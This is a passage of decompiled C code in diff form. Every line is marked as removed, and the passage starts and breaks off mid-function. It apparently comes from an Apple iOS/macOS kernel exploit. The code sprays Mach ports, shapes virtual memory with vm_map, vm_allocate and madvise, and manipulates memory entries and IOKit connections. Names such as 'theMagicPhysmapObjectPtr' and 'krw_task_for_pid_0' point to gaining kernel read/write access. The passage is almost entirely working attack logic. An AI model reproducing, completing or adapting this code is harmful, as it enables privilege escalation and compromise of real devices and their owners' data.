LABEL_170; - } -LABEL_44: - v38 = v141; - v129 = 0LL; - v130 = v141; - v128 = 0; - v126 = 0u; - memset(v127, 0, sizeof(v127)); - *(_OWORD *)info = 0u; - v125 = 0u; - v123 = 0x13; - v39 = vm_region_recurse_64(mach_task_self_, &v130, &v129, &v128, info, &v123); - if ( (_DWORD)v39 ) - goto LABEL_167; - v40 = (unsigned int)(v108 + 1); - v41 = DWORD2(v126); - v42 = 5LL; - if ( DWORD2(v126) < (unsigned int)v40 - v112 || DWORD2(v126) > (unsigned int)v40 ) - goto LABEL_168; - if ( DWORD2(v126) < (unsigned int)v40 ) - { - v122 = 0; - v42 = 5LL; - v48 = v40 - DWORD2(v126); - if ( v40 != DWORD2(v126) && v48 <= v113 ) - { - v49 = v113 - v48; - v118 = v49 + 1; - if ( v49 == 0xFFFFFFFFFFFFFFFFLL ) - { -LABEL_83: - if ( v118 < v113 ) - { - v52 = ~v41 + v40; - v53 = &object_handle[v113 + v41 - v40 + 1]; - do - { - v54 = *v53; - v55 = *(unsigned int *)(a2 + 0x3620); - *(_DWORD *)(a2 + 0x3620) = v55 + 1; - *(_DWORD *)(a2 + 4 * v55 + 0x3520) = v54; - *v53++ = 0; - --v52; - } - while ( v52 ); - } - v56 = *(_QWORD *)&v127[5]; - if ( v119 <= 0x2257 ) - { - v69 = 0LL; - v70 = 0; - v71 = *(_QWORD *)&v127[5]; - while ( 1 ) - { - v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v69], vm_page_size, 3); - if ( (_DWORD)v39 ) - break; - v72 = sub_BCB4(*(_QWORD *)&v144[v69]); - if ( !v72 ) - goto LABEL_146; - v73 = *(unsigned int *)(v121 + 0x180); - if ( v72 >= v71 ) - v74 = v71; - else - v74 = v72; - if ( v72 <= v71 ) - v75 = v71; - else - v75 = v72; - if ( v75 - v74 >= v73 ) - goto LABEL_135; - if ( v72 >= v56 ) - v76 = v56; - else - v76 = v72; - if ( v72 > v56 ) - v56 = v72; - if ( v56 - v76 >= v73 ) - { -LABEL_135: - if ( !v70 && v69 ) - goto LABEL_158; - ++v70; - v71 = v72; - v56 = v72; - } - else - { - v71 = v74; - } - if ( v70 >= 2 ) - { - v77 = *(_QWORD *)&v127[5]; - if ( v72 >= *(_QWORD *)&v127[5] ) - v78 = *(_QWORD *)&v127[5]; - else - v78 = v72; - if ( v72 > *(_QWORD *)&v127[5] ) - v77 = v72; - if ( v77 - v78 >= v73 ) - { -LABEL_158: - v42 = mach_port_deallocate(mach_task_self_, name); - if ( (_DWORD)v42 ) - goto LABEL_168; - v85 = 0LL; - name = 0; - while ( 1 ) - { - v39 = vm_allocate(mach_task_self_, &v143[v85], v19, 3); - if ( (_DWORD)v39 ) - goto LABEL_167; - if ( ++v85 == 0x10 ) - { - v86 = 0LL; - while ( 1 ) - { - v87 = sub_BCB4(v143[v86]); - if ( !v87 ) - goto LABEL_146; - if ( v87 == *(_QWORD *)&v127[5] ) - { - v100 = (_QWORD *)v143[v86]; - v143[v86] = 0LL; - if ( !v100 ) - { -LABEL_219: - *(_QWORD *)a4 = v38; - *(_QWORD *)(a4 + 8) = 0LL; - *(_QWORD *)(a4 + 0x10) = v19; - *(_QWORD *)(a4 + 0x20) = 0LL; - v42 = 5LL; - v141 = 0LL; - goto LABEL_168; - } - v101 = v114; - if ( v110 ) - { - v102 = vm_page_size; - v103 = v100; - do - { - *v103 = *(_QWORD *)(a2 + 0x3518); - v103 = (_QWORD *)((char *)v103 + v102); - --v101; - } - while ( v101 ); - } - *(_QWORD *)a4 = v100; - *(_QWORD *)(a4 + 8) = v109; - *(_QWORD *)(a4 + 0x10) = v19; - *(_DWORD *)(a4 + 0x20) = v110; - v42 = vm_deallocate(mach_task_self_, v38, v19); - if ( !(_DWORD)v42 ) - { - v141 = 0LL; - if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) - *(_DWORD *)(a4 + 0x24) = v122; - for ( i = 0LL; i != 0x10; ++i ) - { - v105 = v143[i]; - if ( v105 ) - { - *(_QWORD *)(a4 + 0x30 + i * 8) = v105; - v143[i] = 0LL; - } - } - for ( j = 0LL; j != 0x200; j += 8LL ) - { - v107 = *(_QWORD *)&v144[j]; - if ( v107 ) - { - *(_QWORD *)(a4 + 0xB0 + j) = v107; - *(_QWORD *)&v144[j] = 0LL; - } - } - return 0LL; - } - goto LABEL_168; - } - if ( ++v86 == 0x10 ) - goto LABEL_219; - } - } - } - } - } - v69 += 8LL; - if ( v69 == 0x200 ) - { -LABEL_145: - *(_QWORD *)a4 = v38; - *(_QWORD *)(a4 + 8) = 0LL; - *(_QWORD *)(a4 + 0x10) = v19; - v79 = name; - *(_DWORD *)(a4 + 0x20) = 0; - *(_DWORD *)(a4 + 0x24) = v79; - v141 = 0LL; - name = 0; -LABEL_146: - v42 = 5LL; - goto LABEL_168; - } - } - } - else - { - v57 = 0LL; - v58 = 0; - v59 = *(_QWORD *)&v127[5]; - while ( 1 ) - { - v39 = vm_allocate(mach_task_self_, (vm_address_t *)&v144[v57], vm_page_size, 3); - if ( (_DWORD)v39 ) - break; - v60 = sub_BCB4(*(_QWORD *)&v144[v57]); - if ( !v60 ) - goto LABEL_146; - v61 = *(unsigned int *)(v121 + 0x180); - if ( v60 >= v59 ) - v62 = v59; - else - v62 = v60; - if ( v60 <= v59 ) - v63 = v59; - else - v63 = v60; - if ( v63 - v62 >= v61 ) - goto LABEL_105; - if ( v60 >= v56 ) - v64 = v56; - else - v64 = v60; - if ( v60 > v56 ) - v56 = v60; - if ( v56 - v64 >= v61 ) - { -LABEL_105: - if ( !v58 && v57 ) - goto LABEL_147; - ++v58; - v59 = v60; - v56 = v60; - } - else - { - v59 = v62; - } - if ( v58 >= 2 ) - { - v65 = *(_QWORD *)&v127[5]; - if ( v60 >= *(_QWORD *)&v127[5] ) - v66 = *(_QWORD *)&v127[5]; - else - v66 = v60; - if ( v60 > *(_QWORD *)&v127[5] ) - v65 = v60; - if ( v65 - v66 >= v61 ) - { -LABEL_147: - v80 = v114; - if ( v110 ) - { - v81 = vm_page_size; - v82 = (_QWORD *)v38; - do - { - *v82 = *(_QWORD *)(a2 + 0x3518); - v82 = (_QWORD *)((char *)v82 + v81); - --v80; - } - while ( v80 ); - } - *(_QWORD *)a4 = v38; - *(_QWORD *)(a4 + 8) = v109; - *(_DWORD *)(a4 + 0x20) = v110; - *(_QWORD *)(a4 + 0x10) = v19; - v42 = mach_port_deallocate(mach_task_self_, name); - if ( !(_DWORD)v42 ) - { - name = 0; - if ( !(unsigned int)sub_BD20(a2, v19, *(__int64 *)&v127[5], &v122) ) - *(_DWORD *)(a4 + 0x24) = v122; - for ( k = 0LL; k != 0x200; k += 8LL ) - { - v84 = *(_QWORD *)&v144[k]; - if ( v84 ) - { - *(_QWORD *)(a4 + 0xB0 + k) = v84; - *(_QWORD *)&v144[k] = 0LL; - } - } - return 0LL; - } - goto LABEL_168; - } - } - v57 += 8LL; - if ( v57 == 0x200 ) - goto LABEL_145; - } - } - } - else - { - v50 = v113 + DWORD2(v126) - v40 + 1; - v51 = object_handle; - while ( 1 ) - { - v39 = mach_port_deallocate(mach_task_self_, *v51); - if ( (_DWORD)v39 ) - break; - *v51++ = 0; - if ( !--v50 ) - goto LABEL_83; - } - } -LABEL_167: - v42 = v39; - } -LABEL_168: - v120 = v19; - goto LABEL_169; - } - v39 = vm_deallocate(mach_task_self_, v38, v19); - v11 = v112; - if ( (_DWORD)v39 ) - goto LABEL_167; - v141 = 0LL; - v39 = mach_port_deallocate(mach_task_self_, name); - if ( (_DWORD)v39 ) - goto LABEL_167; - name = 0; - v7 = v121; - if ( v112 ) - { - v43 = object_handle; - v44 = v113; - do - { - v39 = mach_port_deallocate(mach_task_self_, *v43); - if ( (_DWORD)v39 ) - goto LABEL_167; - *v43++ = 0; - } - while ( --v44 ); - } - v20 = (unsigned __int8 *)(a2 + 0x363C); - v18 = v111 + 1; - v42 = 5LL; - v17 = v19; - v22 = v113; - v21 = (unsigned int *)(a2 + 0x3640); - if ( v111 + 1 == v116 ) - return v42; - } - v23 = v7; - v24 = object_handle; - while ( 1 ) - { - size[0] = v19; - v25 = mach_make_memory_entry_64(mach_task_self_, size, *(_QWORD *)(a2 + 0x3628), 1, v24, 0); - if ( (_DWORD)v25 ) - { - v42 = v25; - goto LABEL_69; - } - if ( size[0] != v19 ) - break; - ++v24; - if ( !--v22 ) - { - v112 = v11; - v26 = object_handle[0]; - v7 = v23; - goto LABEL_25; - } - } - v42 = 5LL; -LABEL_69: - v120 = v17; - } - else - { - v19 = 0LL; - v120 = 0LL; - v42 = 5LL; - } -LABEL_170: - v88 = (unsigned __int8 *)(a2 + 0x363C); - v89 = v11; - do - { -LABEL_171: - atomic_store(1u, v88); - if ( v11 ) - { - v90 = (pthread_t *)v145; - v91 = v11; - do - { - if ( *v90 ) - { - pthread_join(*v90, 0LL); - *v90 = 0LL; - } - ++v90; - --v91; - } - while ( v91 ); - } - v92 = 0LL; - v93 = 1; - do - { - v94 = v143[v92]; - if ( v94 ) - { - v42 = vm_deallocate(mach_task_self_, v94, v19); - if ( (_DWORD)v42 ) - break; - v143[v92] = 0LL; - } - v93 = v92++ < 0xF; - } - while ( v92 != 0x10 ); - } - while ( v93 ); - for ( m = 0LL; m != 0x200; m += 8LL ) - { - v96 = *(_QWORD *)&v144[m]; - if ( v96 ) - { - v42 = vm_deallocate(mach_task_self_, v96, vm_page_size); - if ( (_DWORD)v42 ) - goto LABEL_171; - *(_QWORD *)&v144[m] = 0LL; - } - } - if ( v141 ) - v97 = v120 == 0; - else - v97 = 1; - if ( !v97 ) - vm_deallocate(mach_task_self_, v141, v120); - if ( address && v19 ) - vm_deallocate(mach_task_self_, address, v19); - if ( name + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, name); - if ( v11 ) - { - v98 = object_handle; - do - { - if ( *v98 + 1 >= 2 ) - mach_port_deallocate(mach_task_self_, *v98); - ++v98; - --v89; - } - while ( v89 ); - } - return v42; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (000000000000CB98) ---------------------------------------------------- -__int64 sub_CB98() -{ - __int64 v0; // x0 - _DWORD *v1; // x2 - _DWORD *v2; // x20 - int v3; // w1 - int v4; // w21 - __int64 v5; // x19 - int v6; // w0 - int v7; // w8 - __int64 v8; // x19 - int v9; // w0 - void *(__cdecl *v10)(void *); // x0 - int v11; // w8 - mach_port_t v12; // w20 - __int64 i; // x22 - mach_port_name_t v14; // w1 - __int64 j; // x21 - mach_port_name_t v16; // w1 - _DWORD *v17; // x0 - unsigned int v18; // w8 - unsigned __int64 v19; // x21 - mach_port_name_t v20; // w1 - _DWORD v22[2824]; // [xsp+8h] [xbp-66E8h] BYREF - vm_address_t address; // [xsp+2C28h] [xbp-3AC8h] - vm_size_t size; // [xsp+2C30h] [xbp-3AC0h] - vm_address_t v25; // [xsp+2C38h] [xbp-3AB8h] - vm_size_t v26; // [xsp+2C40h] [xbp-3AB0h] - _BYTE v27[2096]; // [xsp+2C48h] [xbp-3AA8h] - mach_port_name_t name; // [xsp+3478h] [xbp-3278h] - void *v29; // [xsp+3480h] [xbp-3270h] - unsigned int v30; // [xsp+3488h] [xbp-3268h] - vm_address_t v31; // [xsp+3490h] [xbp-3260h] - vm_size_t v32; // [xsp+3498h] [xbp-3258h] - vm_address_t v33; // [xsp+34A0h] [xbp-3250h] - vm_size_t v34; // [xsp+34A8h] [xbp-3248h] - _BYTE v35[72]; // [xsp+34B0h] [xbp-3240h] - mach_port_name_t v36; // [xsp+34F8h] [xbp-31F8h] - _QWORD v37[3]; // [xsp+6658h] [xbp-98h] BYREF - pthread_t v38; // [xsp+6670h] [xbp-80h] BYREF - pthread_attr_t v39; // [xsp+6678h] [xbp-78h] BYREF - - v0 = __chkstk_darwin(); - v2 = v1; - v4 = v3; - v5 = v0; - bzero(v22, 0x6650uLL); - v22[0] = v4; - v6 = pthread_attr_init(&v39); - if ( v6 ) - { - if ( v6 >= 0 ) - v7 = v6; - else - v7 = -v6; - v8 = v7 | 0x40000000u; - } - else - { - v9 = pthread_attr_setdetachstate(&v39, 1); - if ( v9 - || (v37[2] = v5, - v38 = 0LL, - v37[0] = 0x1001LL, - v37[1] = v22, - v10 = (void *(__cdecl *)(void *))nullsub_1(sub_CE84), - (v9 = pthread_create(&v38, &v39, v10, v37)) != 0) - || (v9 = pthread_join(v38, 0LL)) != 0 ) - { - if ( v9 >= 0 ) - v11 = v9; - else - v11 = -v9; - v8 = v11 | 0x40000000u; - pthread_attr_destroy(&v39); - } - else - { - v8 = LODWORD(v37[0]); - pthread_attr_destroy(&v39); - if ( !(_DWORD)v8 ) - *v2 = 0; - } - } - v12 = mach_task_self_; - if ( address && size ) - { - vm_deallocate(mach_task_self_, address, size); - address = 0LL; - size = 0LL; - } - if ( v25 && v26 ) - { - vm_deallocate(mach_task_self_, v25, v26); - v25 = 0LL; - v26 = 0LL; - } - for ( i = 0LL; i != 0x400; i += 4LL ) - { - v14 = *(_DWORD *)&v27[i]; - if ( v14 + 1 >= 2 ) - mach_port_mod_refs(mach_task_self_, v14, 1u, 0xFFFFFFFF); - *(_DWORD *)&v27[i] = 0; - } - for ( j = 0LL; j != 0x40; j += 4LL ) - { - v16 = *(_DWORD *)&v35[j]; - if ( v16 + 1 >= 2 ) - { - mach_port_mod_refs(v12, v16, 1u, 0xFFFFFFFF); - *(_DWORD *)&v35[j] = 0; - } - } - if ( v33 && v34 ) - { - vm_deallocate(v12, v33, v34); - v33 = 0LL; - v34 = 0LL; - } - if ( v31 && v32 ) - { - vm_deallocate(v12, v31, v32); - v31 = 0LL; - v32 = 0LL; - } - if ( name + 1 >= 2 ) - { - mach_port_deallocate(v12, name); - name = 0; - } - if ( v36 + 1 >= 2 ) - { - mach_port_deallocate(v12, v36); - v36 = 0; - } - v17 = v29; - if ( v29 ) - { - v18 = v30; - if ( v30 ) - { - v19 = 0LL; - do - { - v20 = v17[v19]; - if ( v20 + 1 >= 2 ) - { - mach_port_deallocate(v12, v20); - v17 = v29; - *((_DWORD *)v29 + v19) = 0; - v18 = v30; - } - ++v19; - } - while ( v19 < v18 ); - } - free(v17); - } - return v8; -} -// CBC8: variable 'v1' is possibly undefined -// CBCC: variable 'v3' is possibly undefined -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); -// 48940: using guessed type __int64 __chkstk_darwin(void); - -//----- (000000000000CE78) ---------------------------------------------------- -__int64 sub_CE78() -{ - return sub_CB98(); -} - -//----- (000000000000CE84) ---------------------------------------------------- -__int64 __fastcall sub_CE84(_DWORD *a1) -{ - *a1 = sub_CEB8(); - return 0LL; -} - -//----- (000000000000CEB8) ---------------------------------------------------- -__int64 sub_CEB8() -{ - #160 *v0; // x0 - __int64 v1; // x1 - __int64 v2; // x20 - #160 *v3; // x19 - __int64 v4; // x27 - unsigned __int64 v5; // x0 - kern_return_t memory_entry; // w0 - vm_size_t v7; // x21 - __int64 v8; // x22 - __int64 i; // x21 - mach_port_name_t v11; // w0 - void *v12; // x0 - size_t v13; // x21 - void *v14; // x0 - int v15; // w8 - unsigned __int64 v16; // x21 - int v17; // w2 - __int64 j; // x21 - mach_msg_bits_t msgh_bits; // w1 - unsigned __int64 v20; // x8 - __int64 v21; // x0 - __int64 v22; // x23 - pid_t v23; // w0 - __int64 v24; // x24 - __int64 v25; // x8 - __int64 v26; // x8 - __int64 v27; // x9 - __int64 v28; // x21 - int v29; // w0 - __int64 v30; // x0 - void *v31; // x24 - __int64 v32; // x8 - _QWORD *v33; // x21 - __int64 v34; // x8 - unsigned int v35; // w9 - _DWORD *v36; // x10 - __int64 v37; // x11 - mach_port_t v38; // w9 - vm_prot_t v39; // w3 - unsigned int v40; // w8 - __int64 v41; // x24 - int8x8_t *v42; // x13 - int8x8_t *v43; // x14 - int8x8_t v44; // x9 - __int64 v45; // x15 - _QWORD *v46; // x25 - __int64 v47; // x8 - unsigned int v48; // w23 - CFMutableDictionaryRef v49; // x22 - char *v50; // x21 - unsigned int v51; // w8 - bool v52; // zf - __int64 v53; // x22 - uint8x8_t v54; // d0 - __int64 v55; // x23 - kern_return_t v56; // w0 - int v57; // w22 - __int64 k; // x21 - vm_address_t v59; // x1 - unsigned __int64 v60; // x24 - int8x8_t *v61; // x21 - int8x8_t *v62; // x21 - int8x8_t v63; // t1 - int8x8_t *v64; // x9 - unsigned int v65; // w8 - uint8x8_t v66; // d0 - int v67; // w8 - int v68; // w0 - __int64 v69; // x0 - unsigned int v70; // w25 - char v71; // w22 - __int64 v72; // x8 - __int64 v73; // x8 - unsigned int v74; // w8 - mach_port_t v75; // w8 - mach_msg_return_t v76; // w0 - __int64 v77; // x9 - __int64 v78; // x11 - vm_size_t v79; // x12 - vm_size_t v80; // x13 - int8x8_t v81; // x10 - __int64 v82; // x14 - _QWORD *v83; // x15 - unsigned int v84; // w16 - unsigned int m; // w17 - __int64 *v86; // x0 - __int64 v87; // x1 - vm_size_t v88; // x2 - char *v89; // x3 - uint8x8_t v90; // d0 - unsigned int v91; // w0 - __int64 v92; // x0 - __int64 v93; // x8 - mach_port_name_t v94; // w4 - mach_msg_return_t v95; // w0 - unsigned int v96; // w25 - vm_address_t v97; // x22 - vm_size_t msgh_voucher_port; // x21 - vm_address_t v99; // x8 - char v100; // w8 - unsigned int v101; // w8 - unsigned __int64 v102; // x21 - __int64 v103; // x9 - mach_port_name_t v104; // w1 - __int64 v105; // x21 - mach_port_name_t v106; // w1 - __int64 v107; // x0 - mach_port_t v108; // w0 - __int64 v109; // x0 - __int64 v110; // x8 - __int64 v111; // x25 - __int64 v112; // x21 - __int64 v113; // x0 - __int64 v114; // x1 - __int64 v115; // x8 - _BOOL4 v116; // w0 - unsigned __int64 v118; // x8 - char *v119; // x8 - unsigned __int64 v120; // x1 - unsigned int v121; // w8 - __int64 v122; // x21 - __int64 v123; // x24 - mach_port_name_t v124; // w22 - unsigned __int64 v125; // x0 - __int64 v126; // x0 - unsigned __int64 v127; // x23 - __int64 v128; // x23 - __int64 v129; // x24 - __int64 v130; // x8 - unsigned int v131; // w1 - __int64 v132; // x0 - unsigned __int64 v133; // x22 - unsigned __int64 v134; // x0 - __int64 v135; // x0 - unsigned __int64 v136; // x22 - kern_return_t v137; // w0 - __int64 ii; // x21 - vm_address_t v139; // x1 - __int64 jj; // x21 - vm_address_t v141; // x1 - __int64 v142; // x8 - char v143; // w9 - char v144; // w21 - __int64 v145; // x25 - vm_address_t v146; // x1 - kern_return_t v147; // w0 - _BOOL4 has_flag; // w22 - __int64 v149; // x8 - char *v150; // x1 - __int64 v151; // x22 - unsigned __int64 v152; // x0 - unsigned __int64 v153; // x0 - unsigned __int64 v154; // x21 - __int64 v155; // x25 - __int64 v156; // x8 - _BOOL4 v157; // w22 - __int64 v158; // x8 - unsigned __int64 v159; // x0 - __int64 v160; // x25 - __int64 v161; // x8 - __int64 v162; // x9 - _BOOL4 v163; // w0 - __int64 v164; // x0 - __int64 v165; // x8 - __int64 v166; // x0 - __int64 v167; // x8 - __int64 v168; // x8 - __int64 v169; // x9 - unsigned __int64 v170; // x8 - __int64 v171; // x0 - vm_size_t v172; // x23 - unsigned __int64 objAddr; // x0 - __int64 objAddr_; // x24 - unsigned __int64 kobject_maybe; // x0 - unsigned __int64 v176; // x21 - unsigned __int64 v177; // x0 - unsigned __int64 v178; // x25 - __int64 v179; // x25 - vm_address_t v180; // x1 - __int64 v181; // x8 - __int64 v182; // x8 - __int64 v183; // x8 - io_service_t v184; // w0 - io_service_t v185; // w24 - mach_port_t v186; // w21 - __int64 n; // x25 - io_connect_t v188; // w0 - int v190; // w8 - const void **v191; // x0 - const void *v192; // x22 - const void **v193; // x0 - const void *v194; // x23 - const void **v195; // x0 - const void *v196; // x24 - const __CFData *v197; // x0 - const __CFData *v198; // x24 - int v199; // w8 - uint32_t v200; // w25 - mem_entry_name_port_t *v201; // x23 - const UInt8 *BytePtr; // x22 - size_t Length; // x0 - mach_msg_bits_t v204; // w9 - __int64 v205; // x10 - __int64 v206; // x23 - int v207; // w0 - __int64 v208; // x24 - int v209; // w0 - unsigned __int64 v210; // x25 - vm_address_t v211; // x24 - vm_address_t v212; // x8 - __int64 v213; // x21 - __int64 v214; // x0 - unsigned int v215; // w8 - unsigned __int64 v216; // x21 - __int64 v217; // x23 - mach_port_name_t v218; // w1 - unsigned int v219; // w8 - unsigned __int64 v220; // x21 - __int64 v221; // x23 - vm_address_t v222; // x1 - unsigned __int64 v223; // x8 - bool v224; // cc - int pipe; // w20 - unsigned int v226; // w0 - unsigned int v227; // w24 - unsigned int v228; // w0 - int v229; // w22 - int v230; // w23 - int v231; // w0 - int v232; // w0 - unsigned int v233; // w0 - unsigned __int64 v234; // x0 - __int64 v235; // x22 - integer_t v236; // w1 - integer_t v237; // w10 - mem_entry_name_port_t v238; // w9 - mem_entry_name_port_t v239; // w8 - int v240; // w20 - int v241; // w8 - int v242; // w20 - int v243; // w8 - size_t v244; // x21 - mach_msg_bits_t v245; // w1 - mach_msg_size_t msgh_size; // w9 - __int64 v247; // x8 - __int64 v248; // x8 - unsigned __int64 v249; // x20 - unsigned __int64 v250; // x24 - unsigned __int64 v251; // x26 - int v252; // w25 - _BOOL4 v253; // w0 - vm_address_t v254; // x8 - bool v255; // cf - int v256; // w8 - mach_port_t *v257; // [xsp+30h] [xbp-1120h] - unsigned int *v258; // [xsp+40h] [xbp-1110h] - __int64 v259; // [xsp+48h] [xbp-1108h] - __int64 v260; // [xsp+50h] [xbp-1100h] - unsigned __int64 v261; // [xsp+50h] [xbp-1100h] - __int64 v262; // [xsp+58h] [xbp-10F8h] - __int64 v263; // [xsp+58h] [xbp-10F8h] - __int64 v264; // [xsp+60h] [xbp-10F0h] - __int64 v265; // [xsp+60h] [xbp-10F0h] - __int64 v266; // [xsp+68h] [xbp-10E8h] - __int64 v267; // [xsp+68h] [xbp-10E8h] - unsigned __int64 v268; // [xsp+68h] [xbp-10E8h] - mach_port_name_t v269[2]; // [xsp+70h] [xbp-10E0h] - mach_port_name_t v270; // [xsp+70h] [xbp-10E0h] - __int64 v271; // [xsp+70h] [xbp-10E0h] - void *value; // [xsp+78h] [xbp-10D8h] - unsigned __int64 valuea; // [xsp+78h] [xbp-10D8h] - int v274; // [xsp+80h] [xbp-10D0h] - unsigned __int64 v275; // [xsp+80h] [xbp-10D0h] - int v276; // [xsp+80h] [xbp-10D0h] - int v277; // [xsp+80h] [xbp-10D0h] - vm_size_t v278; // [xsp+88h] [xbp-10C8h] - unsigned int *v279; // [xsp+90h] [xbp-10C0h] - __int64 v280; // [xsp+90h] [xbp-10C0h] - __int64 v281; // [xsp+90h] [xbp-10C0h] - unsigned __int64 v282; // [xsp+90h] [xbp-10C0h] - __int64 v283; // [xsp+90h] [xbp-10C0h] - CFMutableDictionaryRef theDict; // [xsp+98h] [xbp-10B8h] - CFMutableDictionaryRef theDicta; // [xsp+98h] [xbp-10B8h] - CFMutableDictionaryRef theDictb; // [xsp+98h] [xbp-10B8h] - CFMutableDictionaryRef theDictc; // [xsp+98h] [xbp-10B8h] - CFMutableDictionaryRef theDictd; // [xsp+98h] [xbp-10B8h] - __CFDictionary *theDicte; // [xsp+98h] [xbp-10B8h] - __int64 v290; // [xsp+A0h] [xbp-10B0h] - unsigned __int64 v291; // [xsp+A0h] [xbp-10B0h] - int8x8_t *v292; // [xsp+A8h] [xbp-10A8h] - vm_size_t v293; // [xsp+A8h] [xbp-10A8h] - vm_size_t v294; // [xsp+A8h] [xbp-10A8h] - vm_size_t v295; // [xsp+A8h] [xbp-10A8h] - int8x8_t *__handle; // [xsp+B0h] [xbp-10A0h] - _DWORD *__handlea; // [xsp+B0h] [xbp-10A0h] - char *__handleb; // [xsp+B0h] [xbp-10A0h] - unsigned __int64 __handlec; // [xsp+B0h] [xbp-10A0h] - void *__handled; // [xsp+B0h] [xbp-10A0h] - unsigned __int64 __handlee; // [xsp+B0h] [xbp-10A0h] - char *v302; // [xsp+B8h] [xbp-1098h] - unsigned int v303; // [xsp+B8h] [xbp-1098h] - vm_size_t size; // [xsp+C0h] [xbp-1090h] BYREF - mem_entry_name_port_t object_handle; // [xsp+CCh] [xbp-1084h] BYREF - integer_t port_info; // [xsp+D0h] [xbp-1080h] BYREF - vm_address_t address; // [xsp+D8h] [xbp-1078h] BYREF - mach_msg_header_t name; // [xsp+E0h] [xbp-1070h] BYREF - unsigned __int64 v309; // [xsp+100h] [xbp-1050h] - vm_address_t v310; // [xsp+110h] [xbp-1040h] BYREF - unsigned __int64 v311; // [xsp+118h] [xbp-1038h] BYREF - int v312; // [xsp+124h] [xbp-102Ch] BYREF - __int64 v313; // [xsp+128h] [xbp-1028h] BYREF - __int64 v314; // [xsp+130h] [xbp-1020h] BYREF - __int64 v315; // [xsp+138h] [xbp-1018h] BYREF - size_t outputStructCnt; // [xsp+140h] [xbp-1010h] BYREF - mem_entry_name_port_t theMagicPhysmapObjectPtr[2]; // [xsp+148h] [xbp-1008h] BYREF - integer_t v318[4]; // [xsp+150h] [xbp-1000h] BYREF - __int128 v319; // [xsp+160h] [xbp-FF0h] - mach_msg_header_t outputStruct[2]; // [xsp+170h] [xbp-FE0h] BYREF - __int128 v321; // [xsp+1A0h] [xbp-FB0h] - __int128 v322; // [xsp+1B0h] [xbp-FA0h] - __int128 v323; // [xsp+1C0h] [xbp-F90h] - __int128 v324; // [xsp+1D0h] [xbp-F80h] - __int128 v325; // [xsp+1E0h] [xbp-F70h] - __int128 v326; // [xsp+1F0h] [xbp-F60h] - __int128 v327; // [xsp+200h] [xbp-F50h] - __int128 v328; // [xsp+210h] [xbp-F40h] - __int128 v329; // [xsp+220h] [xbp-F30h] - __int128 v330; // [xsp+230h] [xbp-F20h] - __int128 v331; // [xsp+240h] [xbp-F10h] - __int128 v332; // [xsp+250h] [xbp-F00h] - __int128 v333; // [xsp+260h] [xbp-EF0h] - - v0 = (#160 *)__chkstk_darwin(); - v2 = v1; - v3 = v0; - v4 = 0xAD011LL; - address = 0LL; - object_handle = 0; - size = vm_page_size; - v5 = sub_1F0F4(); - *(_QWORD *)(v2 + 8) = v5; - *(_QWORD *)(v2 + 0x34E8) = 0x10000000800LL; - if ( v5 > 0x400000000LL ) - return 0xAD008LL; - memory_entry = vm_allocate(mach_task_self_, &address, 0x2000uLL, 1); - if ( memory_entry ) - return memory_entry | 0x80000000; - *(_QWORD *)(v2 + 0x3498) = address; - *(_QWORD *)(v2 + 0x34A0) = 0x2000LL; - *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; - v7 = vm_page_size; - memory_entry = vm_map( - mach_task_self_, - (vm_address_t *)&outputStruct[0].msgh_bits, - 0x81 * vm_page_size, - 0x1FFFFFFuLL, - 0xC9000001, - 0, - 0LL, - 0, - 3, - 3, - 1u); - if ( memory_entry ) - return memory_entry | 0x80000000; - *(_QWORD *)(v2 + 0x3488) = *(_QWORD *)&outputStruct[0].msgh_bits; - *(_QWORD *)(v2 + 0x3490) = vm_page_size + (v7 << 7); - for ( i = 0xD2ALL; i != 0xD3A; ++i ) - { - v11 = mach_reply_port(); - if ( v11 + 1 < 2 ) - return 0x1001LL; - *(_DWORD *)(v2 + 4 * i) = v11; - port_info = 0x400; - memory_entry = mach_port_set_attributes(mach_task_self_, v11, 1, &port_info, 1u); - if ( memory_entry ) - return memory_entry | 0x80000000; - } - memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle, 0); - if ( memory_entry ) - return memory_entry | 0x80000000; - *(_DWORD *)(v2 + 0x3470) = object_handle; - v12 = calloc(0x200000uLL, 4uLL); - if ( !v12 ) - return 0xAD009LL; - *(_QWORD *)(v2 + 0x3478) = v12; - *(_DWORD *)(v2 + 0x3480) = 0x200000; - *(_QWORD *)&outputStruct[0].msgh_bits = 0LL; - v13 = vm_page_size << 9; - memory_entry = vm_allocate(mach_task_self_, (vm_address_t *)&outputStruct[0].msgh_bits, vm_page_size << 9, 0xCC000001); - if ( memory_entry ) - return memory_entry | 0x80000000; - v14 = *(void **)&outputStruct[0].msgh_bits; - *(_QWORD *)(v2 + 0x2C20) = *(_QWORD *)&outputStruct[0].msgh_bits; - *(_QWORD *)(v2 + 0x2C28) = v13; - if ( madvise(v14, v13, 3) ) - { -LABEL_15: - v15 = *__error(); - if ( v15 < 0 ) - v15 = -v15; - return v15 | 0x40000000u; - } - v16 = 0xFFFFFFFFFFFFFFFELL; - do - { - v16 += 2LL; - if ( (v16 & 2) != 0 ) - v17 = 1; - else - v17 = 2; - if ( madvise((void *)(*(_QWORD *)&outputStruct[0].msgh_bits + vm_page_size * v16), 2 * vm_page_size, v17) ) - goto LABEL_15; - } - while ( v16 < 0x1FE ); - for ( j = 0xB10LL; j != 0xC10; ++j ) - { - name.msgh_bits = 0; - memory_entry = mach_port_allocate(mach_task_self_, 1u, &name.msgh_bits); - if ( memory_entry ) - return memory_entry | 0x80000000; - msgh_bits = name.msgh_bits; - *(_DWORD *)(v2 + 4 * j) = name.msgh_bits; - v318[0] = 0x400; - memory_entry = mach_port_set_attributes(mach_task_self_, msgh_bits, 1, v318, 1u); - if ( memory_entry ) - return memory_entry | 0x80000000; - } - v258 = (unsigned int *)(v2 + 0x4644); - v20 = *((_QWORD *)v3 + 0x2B); - if ( v20 > 0x27120F04B00002LL ) - { - if ( (*(_BYTE *)v3 & 0x20) != 0 ) - { - v8 = sub_A614((__int64)v3); - if ( (_DWORD)v8 ) - return v8; - v21 = sub_B73C((__int64)v3); - if ( v21 ) - { - v22 = v21; - v23 = getpid(); - v24 = krw_task_for_pid_0((__int64)v3, v22, v23); - *(_QWORD *)(v2 + 0x2C10) = v24; - goto LABEL_207; - } - return 